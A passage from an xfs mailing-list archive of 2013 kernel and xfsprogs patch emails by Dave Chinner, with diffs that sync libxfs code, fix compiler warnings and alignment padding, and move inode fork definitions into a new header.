b/libxfs/xfs_da_btree.c @@ -376,7 +376,7 @@ xfs_da3_split( struct xfs_da_intnode *node; struct xfs_buf *bp; int max; - int action; + int action = 0; int error; int i; @@ -2431,9 +2431,9 @@ static int xfs_buf_map_from_irec( struct xfs_mount *mp, struct xfs_buf_map **mapp, - unsigned int *nmaps, + int *nmaps, struct xfs_bmbt_irec *irecs, - unsigned int nirecs) + int nirecs) { struct xfs_buf_map *map; int i; diff --git a/libxfs/xfs_dir2_node.c b/libxfs/xfs_dir2_node.c index 222f08c..d2bd249 100644 --- a/libxfs/xfs_dir2_node.c +++ b/libxfs/xfs_dir2_node.c @@ -295,11 +295,13 @@ xfs_dir2_free_log_header( struct xfs_trans *tp, struct xfs_buf *bp) { +#ifdef DEBUG xfs_dir2_free_t *free; /* freespace structure */ free = bp->b_addr; ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); +#endif xfs_trans_log_buf(tp, bp, 0, xfs_dir3_free_hdr_size(tp->t_mountp) - 1); } diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 98513fd..4683287 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -1319,7 +1319,7 @@ xfs_imap( xfs_agblock_t cluster_agbno; /* first block in inode cluster */ int error; /* error code */ int offset; /* index of inode in its buffer */ - int offset_agbno; /* blks from chunk start to inode */ + xfs_agblock_t offset_agbno; /* blks from chunk start to inode */ ASSERT(ino != NULLFSINO); diff --git a/libxfs/xfs_rtalloc.c b/libxfs/xfs_rtalloc.c index 1de85fd..9797db7 100644 --- a/libxfs/xfs_rtalloc.c +++ b/libxfs/xfs_rtalloc.c @@ -431,8 +431,8 @@ xfs_rtfree_range( { xfs_rtblock_t end; /* end of the freed extent */ int error; /* error value */ - xfs_rtblock_t postblock; /* first block freed > end */ - xfs_rtblock_t preblock; /* first block freed < start */ + xfs_rtblock_t postblock = 0; /* first block freed > end */ + xfs_rtblock_t preblock = 0; /* first block freed < start */ end = start + len - 1; /* diff --git a/repair/attr_repair.c b/repair/attr_repair.c index d42b85f..ba85fd9 100644 --- a/repair/attr_repair.c +++ b/repair/attr_repair.c @@ -1631,9 +1631,11 @@ process_attributes( { int err; __u8 aformat = dip->di_aformat; +#ifdef DEBUG xfs_attr_shortform_t *asf; asf = (xfs_attr_shortform_t *) XFS_DFORK_APTR(dip); +#endif if (aformat == XFS_DINODE_FMT_LOCAL) { ASSERT(be16_to_cpu(asf->hdr.totsize) <= diff --git a/repair/incore_ino.c b/repair/incore_ino.c index 2a40727..158cf3a 100644 --- a/repair/incore_ino.c +++ b/repair/incore_ino.c @@ -167,6 +167,7 @@ __uint32_t num_inode_references(struct ino_tree_node *irec, int ino_offset) default: ASSERT(0); } + return 0; } void set_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset, @@ -207,6 +208,7 @@ __uint32_t get_inode_disk_nlinks(struct ino_tree_node *irec, int ino_offset) default: ASSERT(0); } + return 0; } /* diff --git a/repair/scan.c b/repair/scan.c index d58d55a..e76ce47 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -520,6 +520,7 @@ scan_allocbt( name = "cnt"; break; default: + name = "(unknown)"; assert(0); break; } -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:47:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6129B80B0 for ; Fri, 19 Jul 2013 01:45:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 43804304039 for ; Thu, 18 Jul 2013 23:45:58 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed669000f-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id X2W6td62pTqAabqc for ; Thu, 18 Jul 2013 23:45:56 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArkLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQVWMwgYMTkDGxmID7YjjnKBOoNmA6kqgyQq Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004I7-LM for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002JM-KP for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 04/49] libxfs: fix directory/attribute format issues Date: Fri, 19 Jul 2013 16:44:39 +1000 X-ASG-Orig-Subj: [PATCH 04/49] libxfs: fix directory/attribute format issues Message-Id: <1374216324-8781-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216356 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner directory data headers and attr leaf headers need padding for 32 bit systems to correctly align the data sections on 64 bit boundaries. Signed-off-by: Dave Chinner --- include/xfs_attr_leaf.h | 1 + include/xfs_dir2_format.h | 5 +++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/include/xfs_attr_leaf.h b/include/xfs_attr_leaf.h index b3e93bb..c102213 100644 --- a/include/xfs_attr_leaf.h +++ b/include/xfs_attr_leaf.h @@ -128,6 +128,7 @@ struct xfs_attr3_leaf_hdr { __u8 holes; __u8 pad1; struct xfs_attr_leaf_map freemap[XFS_ATTR_LEAF_MAPSIZE]; + __be32 pad2; /* 64 bit alignment */ }; #define XFS_ATTR3_LEAF_CRC_OFF (offsetof(struct xfs_attr3_leaf_hdr, info.crc)) diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h index 8c16bb0..4126e86 100644 --- a/include/xfs_dir2_format.h +++ b/include/xfs_dir2_format.h @@ -260,6 +260,7 @@ struct xfs_dir3_blk_hdr { struct xfs_dir3_data_hdr { struct xfs_dir3_blk_hdr hdr; xfs_dir2_data_free_t best_free[XFS_DIR2_DATA_FD_COUNT]; + __be32 pad; /* 64 bit alignment */ }; #define XFS_DIR3_DATA_CRC_OFF offsetof(struct xfs_dir3_data_hdr, hdr.crc) @@ -471,7 +472,7 @@ struct xfs_dir3_leaf_hdr { struct xfs_da3_blkinfo info; /* header for da routines */ __be16 count; /* count of entries */ __be16 stale; /* count of stale entries */ - __be32 pad; + __be32 pad; /* 64 bit alignment */ }; struct xfs_dir3_icleaf_hdr { @@ -712,7 +713,7 @@ struct xfs_dir3_free_hdr { __be32 firstdb; /* db of first entry */ __be32 nvalid; /* count of valid entries */ __be32 nused; /* count of used entries */ - __be32 pad; /* 64 bit alignment. */ + __be32 pad; /* 64 bit alignment */ }; struct xfs_dir3_free { -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:47:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6289480B1 for ; Fri, 19 Jul 2013 01:45:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E76D3AC001 for ; Thu, 18 Jul 2013 23:45:57 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540011-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id BDfmBjhig38ELX4r for ; Thu, 18 Jul 2013 23:45:56 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45ygTqDZgOpKoMkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004II-Nj for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Jl-Mk for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 09/49] libxfs: sync attr code with kernel Date: Fri, 19 Jul 2013 16:44:44 +1000 X-ASG-Orig-Subj: [PATCH 09/49] libxfs: sync attr code with kernel Message-Id: <1374216324-8781-10-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216355 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- libxfs/xfs_attr.c | 6 +++--- libxfs/xfs_attr_leaf.c | 7 +++---- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/libxfs/xfs_attr.c b/libxfs/xfs_attr.c index cfc2f4b..8fe892e 100644 --- a/libxfs/xfs_attr.c +++ b/libxfs/xfs_attr.c @@ -65,7 +65,7 @@ xfs_attr_name_to_xname( return 0; } -STATIC int +int xfs_inode_hasattr( struct xfs_inode *ip) { @@ -268,7 +268,6 @@ xfs_attr_set_int( if (rsvd) args.trans->t_flags |= XFS_TRANS_RESERVE; - error = xfs_trans_reserve(args.trans, args.total, XFS_ATTRSETM_LOG_RES(mp) + XFS_ATTRSETRT_LOG_RES(mp) * args.total, @@ -587,6 +586,7 @@ xfs_attr_remove( return xfs_attr_remove_int(dp, &xname, flags); } + /*======================================================================== * External routines when attribute list is inside the inode *========================================================================*/ @@ -854,7 +854,7 @@ xfs_attr_leaf_removename(xfs_da_args_t *args) error = xfs_attr3_leaf_lookup_int(bp, args); if (error == ENOATTR) { xfs_trans_brelse(args->trans, bp); - return(error); + return error; } xfs_attr3_leaf_remove(bp, args); diff --git a/libxfs/xfs_attr_leaf.c b/libxfs/xfs_attr_leaf.c index 4e2951b..49a1764 100644 --- a/libxfs/xfs_attr_leaf.c +++ b/libxfs/xfs_attr_leaf.c @@ -51,7 +51,6 @@ STATIC int xfs_attr3_leaf_figure_balance(xfs_da_state_t *state, int *number_entries_in_blk1, int *number_usedbytes_in_blk1); - /* * Utility routines. */ @@ -1120,7 +1119,6 @@ xfs_attr3_leaf_add_work( struct xfs_attr_leaf_entry *entry; struct xfs_attr_leaf_name_local *name_loc; struct xfs_attr_leaf_name_remote *name_rmt; - struct xfs_attr_leaf_map *map; struct xfs_mount *mp; int tmp; int i; @@ -1219,7 +1217,7 @@ xfs_attr3_leaf_add_work( tmp = (ichdr->count - 1) * sizeof(xfs_attr_leaf_entry_t) + xfs_attr3_leaf_hdr_size(leaf); - for (i = 0; i < XFS_ATTR_LEAF_MAPSIZE; map++, i++) { + for (i = 0; i < XFS_ATTR_LEAF_MAPSIZE; i++) { if (ichdr->freemap[i].base == tmp) { ichdr->freemap[i].base += sizeof(xfs_attr_leaf_entry_t); ichdr->freemap[i].size -= sizeof(xfs_attr_leaf_entry_t); @@ -2337,7 +2335,7 @@ xfs_attr3_leaf_moveents( * Move the remaining entries down to fill the hole, * then zero the entries at the top. */ - tmp = (ichdr_s->count - count) - sizeof(xfs_attr_leaf_entry_t); + tmp = (ichdr_s->count - count) * sizeof(xfs_attr_leaf_entry_t); entry_s = &xfs_attr3_leaf_entryp(leaf_s)[start_s + count]; entry_d = &xfs_attr3_leaf_entryp(leaf_s)[start_s]; memmove(entry_d, entry_s, tmp); @@ -2431,6 +2429,7 @@ xfs_attr_leaf_newentsize(int namelen, int valuelen, int blocksize, int *local) return size; } + /*======================================================================== * Manage the INCOMPLETE flag in a leaf entry *========================================================================*/ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:47:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 17FF5804E for ; Fri, 19 Jul 2013 01:45:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 07EAC304039 for ; Thu, 18 Jul 2013 23:45:59 -0700 (PDT) X-ASG-Debug-ID: 1374216330-04cbb0468f117d540012-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id vd7L4pOxIm28CpOI for ; Thu, 18 Jul 2013 23:45:57 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUnLzMIGDE5AxsZiA+2I45yhSADoX+HK4MkKg Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:49 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RS-0004IB-MZ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RS-0002Jb-Lc for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:26 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 07/49] libxfs: sync xfs_da_btree.c Date: Fri, 19 Jul 2013 16:44:42 +1000 X-ASG-Orig-Subj: [PATCH 07/49] libxfs: sync xfs_da_btree.c Message-Id: <1374216324-8781-8-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216357 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Some variables we renamed in the kernel code, and there are a few other minor differences. Fix them up. Signed-off-by: Dave Chinner --- libxfs/xfs_da_btree.c | 63 +++++++++++++++++++++++++++------------------------ 1 file changed, 33 insertions(+), 30 deletions(-) diff --git a/libxfs/xfs_da_btree.c b/libxfs/xfs_da_btree.c index e83a3ad..d7798af 100644 --- a/libxfs/xfs_da_btree.c +++ b/libxfs/xfs_da_btree.c @@ -480,8 +480,10 @@ xfs_da3_split( * There might be three blocks involved if a double split occurred, * and the original block 0 could be at any position in the list. * - * Note: the info structures being modified here for both v2 and v3 da - * headers, so we can do this linkage just using the v2 structures. + * Note: the magic numbers and sibling pointers are in the same + * physical place for both v2 and v3 headers (by design). Hence it + * doesn't matter which version of the xfs_da_intnode structure we use + * here as the result will be the same using either structure. */ node = oldblk->bp->b_addr; if (node->hdr.info.forw) { @@ -820,7 +822,7 @@ xfs_da3_node_rebalance( */ nodehdr2.count += count; tmp = count * (uint)sizeof(xfs_da_node_entry_t); - btree_s = &btree1[nodehdr1.count- count]; + btree_s = &btree1[nodehdr1.count - count]; btree_d = &btree2[0]; memcpy(btree_d, btree_s, tmp); nodehdr1.count -= count; @@ -1380,10 +1382,10 @@ xfs_da3_node_unbalance( { struct xfs_da_intnode *drop_node; struct xfs_da_intnode *save_node; - struct xfs_da_node_entry *dbtree; - struct xfs_da_node_entry *sbtree; - struct xfs_da3_icnode_hdr dhdr; - struct xfs_da3_icnode_hdr shdr; + struct xfs_da_node_entry *drop_btree; + struct xfs_da_node_entry *save_btree; + struct xfs_da3_icnode_hdr drop_hdr; + struct xfs_da3_icnode_hdr save_hdr; struct xfs_trans *tp; int sindex; int tmp; @@ -1392,43 +1394,44 @@ xfs_da3_node_unbalance( drop_node = drop_blk->bp->b_addr; save_node = save_blk->bp->b_addr; - xfs_da3_node_hdr_from_disk(&dhdr, drop_node); - xfs_da3_node_hdr_from_disk(&shdr, save_node); - dbtree = xfs_da3_node_tree_p(drop_node); - sbtree = xfs_da3_node_tree_p(save_node); + xfs_da3_node_hdr_from_disk(&drop_hdr, drop_node); + xfs_da3_node_hdr_from_disk(&save_hdr, save_node); + drop_btree = xfs_da3_node_tree_p(drop_node); + save_btree = xfs_da3_node_tree_p(save_node); tp = state->args->trans; /* * If the dying block has lower hashvals, then move all the * elements in the remaining block up to make a hole. */ - if ((be32_to_cpu(dbtree[0].hashval) < be32_to_cpu(sbtree[ 0 ].hashval)) || - (be32_to_cpu(dbtree[dhdr.count - 1].hashval) < - be32_to_cpu(sbtree[shdr.count - 1].hashval))) { + if ((be32_to_cpu(drop_btree[0].hashval) < + be32_to_cpu(save_btree[0].hashval)) || + (be32_to_cpu(drop_btree[drop_hdr.count - 1].hashval) < + be32_to_cpu(save_btree[save_hdr.count - 1].hashval))) { /* XXX: check this - is memmove dst correct? */ - tmp = shdr.count * (uint)sizeof(xfs_da_node_entry_t); - memmove(&sbtree[dhdr.count], &sbtree[0], tmp); + tmp = save_hdr.count * sizeof(xfs_da_node_entry_t); + memmove(&save_btree[drop_hdr.count], &save_btree[0], tmp); sindex = 0; xfs_trans_log_buf(tp, save_blk->bp, - XFS_DA_LOGRANGE(save_node, &sbtree[0], - (shdr.count + dhdr.count) * + XFS_DA_LOGRANGE(save_node, &save_btree[0], + (save_hdr.count + drop_hdr.count) * sizeof(xfs_da_node_entry_t))); } else { - sindex = shdr.count; + sindex = save_hdr.count; xfs_trans_log_buf(tp, save_blk->bp, - XFS_DA_LOGRANGE(save_node, &sbtree[sindex], - dhdr.count * sizeof(xfs_da_node_entry_t))); + XFS_DA_LOGRANGE(save_node, &save_btree[sindex], + drop_hdr.count * sizeof(xfs_da_node_entry_t))); } /* * Move all the B-tree elements from drop_blk to save_blk. */ - tmp = dhdr.count * (uint)sizeof(xfs_da_node_entry_t); - memcpy(&sbtree[sindex], &dbtree[0], tmp); - shdr.count += dhdr.count; + tmp = drop_hdr.count * (uint)sizeof(xfs_da_node_entry_t); + memcpy(&save_btree[sindex], &drop_btree[0], tmp); + save_hdr.count += drop_hdr.count; - xfs_da3_node_hdr_to_disk(save_node, &shdr); + xfs_da3_node_hdr_to_disk(save_node, &save_hdr); xfs_trans_log_buf(tp, save_blk->bp, XFS_DA_LOGRANGE(save_node, &save_node->hdr, xfs_da3_node_hdr_size(save_node))); @@ -1436,7 +1439,7 @@ xfs_da3_node_unbalance( /* * Save the last hashval in the remaining block for upward propagation. */ - save_blk->hashval = be32_to_cpu(sbtree[shdr.count - 1].hashval); + save_blk->hashval = be32_to_cpu(save_btree[save_hdr.count - 1].hashval); } /*======================================================================== @@ -2201,8 +2204,6 @@ xfs_da3_swap_lastblock( } else { struct xfs_da3_icnode_hdr deadhdr; - ASSERT(dead_info->magic == cpu_to_be16(XFS_DA_NODE_MAGIC) || - dead_info->magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)); dead_node = (xfs_da_intnode_t *)dead_info; xfs_da3_node_hdr_from_disk(&deadhdr, dead_node); btree = xfs_da3_node_tree_p(dead_node); @@ -2441,7 +2442,8 @@ xfs_buf_map_from_irec( ASSERT(nirecs >= 1); if (nirecs > 1) { - map = kmem_zalloc(nirecs * sizeof(struct xfs_buf_map), KM_SLEEP); + map = kmem_zalloc(nirecs * sizeof(struct xfs_buf_map), + KM_SLEEP | KM_NOFS); if (!map) return ENOMEM; *mapp = map; @@ -2497,7 +2499,8 @@ xfs_dabuf_map( * Optimize the one-block case. */ if (nfsb != 1) - irecs = kmem_zalloc(sizeof(irec) * nfsb, KM_SLEEP); + irecs = kmem_zalloc(sizeof(irec) * nfsb, + KM_SLEEP | KM_NOFS); nirecs = nfsb; error = xfs_bmapi_read(dp, (xfs_fileoff_t)bno, nfsb, irecs, -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:46:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 94487809C for ; Fri, 19 Jul 2013 01:45:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 84AA0304039 for ; Thu, 18 Jul 2013 23:45:57 -0700 (PDT) X-ASG-Debug-ID: 1374216332-04cb6c2a42ed669000a-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id dGeZAnjh6pTRQln2 for ; Thu, 18 Jul 2013 23:45:48 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAMLf6FF5LK4r/2dsb2JhbABagwbBRgSBFRd0giQBAQUaAQwvFgoTCBgxOQMbGYgPtiOOSw0GFIUgA4w+kjSKOIMkKoEsAR8 Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:35 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Iz-3u for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002LE-2g for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 27/49] xfs: move inode fork definitions to a new header file Date: Fri, 19 Jul 2013 16:45:02 +1000 X-ASG-Orig-Subj: [PATCH 27/49] xfs: move inode fork definitions to a new header file Message-Id: <1374216324-8781-28-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216348 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The inode fork definitions are a combination of on-disk format definition and in-memory tracking and manipulation. They are both shared with userspace, so move them all into their own file so sharing is easy to do and track. This removes all inode fork related information from xfs_inode.h. Do the same for the all the C code that currently resides in xfs_inode.c for the same reason. Signed-off-by: Dave Chinner --- include/xfs_bmap_btree.h | 2 + include/xfs_inode.h | 134 +--- include/xfs_inode_fork.h | 171 +++++ libxfs/Makefile | 7 +- libxfs/xfs_inode.c | 1878 +-------------------------------------------- libxfs/xfs_inode_fork.c | 1890 ++++++++++++++++++++++++++++++++++++++++++++++ 6 files changed, 2072 insertions(+), 2010 deletions(-) create mode 100644 include/xfs_inode_fork.h create mode 100644 libxfs/xfs_inode_fork.c diff --git a/include/xfs_bmap_btree.h b/include/xfs_bmap_btree.h index 20d66b0..f1069bb 100644 --- a/include/xfs_bmap_btree.h +++ b/include/xfs_bmap_btree.h @@ -197,6 +197,8 @@ typedef __be64 xfs_bmbt_ptr_t, xfs_bmdr_ptr_t; #define XFS_BMDR_SPACE_CALC(nrecs) \ (int)(sizeof(xfs_bmdr_block_t) + \ ((nrecs) * (sizeof(xfs_bmbt_key_t) + sizeof(xfs_bmbt_ptr_t)))) +#define XFS_BMAP_BMDR_SPACE(bb) \ + (XFS_BMDR_SPACE_CALC(be16_to_cpu((bb)->bb_numrecs))) /* * Maximum number of bmap btree levels. diff --git a/include/xfs_inode.h b/include/xfs_inode.h index 1e92338..6ee8bb7 100644 --- a/include/xfs_inode.h +++ b/include/xfs_inode.h @@ -22,58 +22,7 @@ struct posix_acl; struct xfs_dinode; struct xfs_inode; -/* - * The following xfs_ext_irec_t struct introduces a second (top) level - * to the in-core extent allocation scheme. These structs are allocated - * in a contiguous block, creating an indirection array where each entry - * (irec) contains a pointer to a buffer of in-core extent records which - * it manages. Each extent buffer is 4k in size, since 4k is the system - * page size on Linux i386 and systems with larger page sizes don't seem - * to gain much, if anything, by using their native page size as the - * extent buffer size. Also, using 4k extent buffers everywhere provides - * a consistent interface for CXFS across different platforms. - * - * There is currently no limit on the number of irec's (extent lists) - * allowed, so heavily fragmented files may require an indirection array - * which spans multiple system pages of memory. The number of extents - * which would require this amount of contiguous memory is very large - * and should not cause problems in the foreseeable future. However, - * if the memory needed for the contiguous array ever becomes a problem, - * it is possible that a third level of indirection may be required. - */ -typedef struct xfs_ext_irec { - xfs_bmbt_rec_host_t *er_extbuf; /* block of extent records */ - xfs_extnum_t er_extoff; /* extent offset in file */ - xfs_extnum_t er_extcount; /* number of extents in page/block */ -} xfs_ext_irec_t; - -/* - * File incore extent information, present for each of data & attr forks. - */ -#define XFS_IEXT_BUFSZ 4096 -#define XFS_LINEAR_EXTS (XFS_IEXT_BUFSZ / (uint)sizeof(xfs_bmbt_rec_t)) -#define XFS_INLINE_EXTS 2 -#define XFS_INLINE_DATA 32 -typedef struct xfs_ifork { - int if_bytes; /* bytes in if_u1 */ - int if_real_bytes; /* bytes allocated in if_u1 */ - struct xfs_btree_block *if_broot; /* file's incore btree root */ - short if_broot_bytes; /* bytes allocated for root */ - unsigned char if_flags; /* per-fork flags */ - union { - xfs_bmbt_rec_host_t *if_extents;/* linear map file exts */ - xfs_ext_irec_t *if_ext_irec; /* irec map file exts */ - char *if_data; /* inline file data */ - } if_u1; - union { - xfs_bmbt_rec_host_t if_inline_ext[XFS_INLINE_EXTS]; - /* very small file extents */ - char if_inline_data[XFS_INLINE_DATA]; - /* very small file data */ - xfs_dev_t if_rdev; /* dev number if special */ - uuid_t if_uuid; /* mount point value */ - } if_u2; -} xfs_ifork_t; +#include "xfs_inode_fork.h" /* * Inode location information. Stored in the inode and passed to @@ -114,57 +63,6 @@ struct xfs_imap { #define 